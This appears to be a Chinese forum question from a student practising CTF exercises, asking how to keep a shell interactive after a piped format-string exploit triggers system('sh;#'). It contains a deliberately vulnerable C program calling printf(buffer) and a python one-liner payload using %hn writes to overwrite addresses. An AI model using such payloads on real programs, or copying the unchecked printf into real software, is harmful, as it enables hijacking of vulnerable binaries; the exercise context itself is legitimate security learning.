我正在学习计算机科学并进行安全练习https://ctf101.org/并在空闲时间进行锻炼。
我想在格式字符串利用练习中将输入发送到程序的 STDIN(即下面的有效负载),其中程序读取fgets()
两次。
现在,如果我通过管道传输有效载荷(见下文),那么system("sh;#")
就会执行,但它会立即退出,因为管道发送了EOF
?
我还检查了程序的tty
,然后写入/dev/pts/0
,但这不起作用。写入 也不起作用/proc/PID/fd/0
。
如何写入程序的 STDIN,以便调用system("sh;#")
将产生交互式 shell(不会立即终止)?
python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1
完整的程序:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUFSZ 128
int main(int argc, char** argv) {
char buffer[BUFSZ];
fgets(buffer, BUFSZ, stdin);
printf(buffer);
fgets(buffer, BUFSZ, stdin); // exploit this!
return 0;
}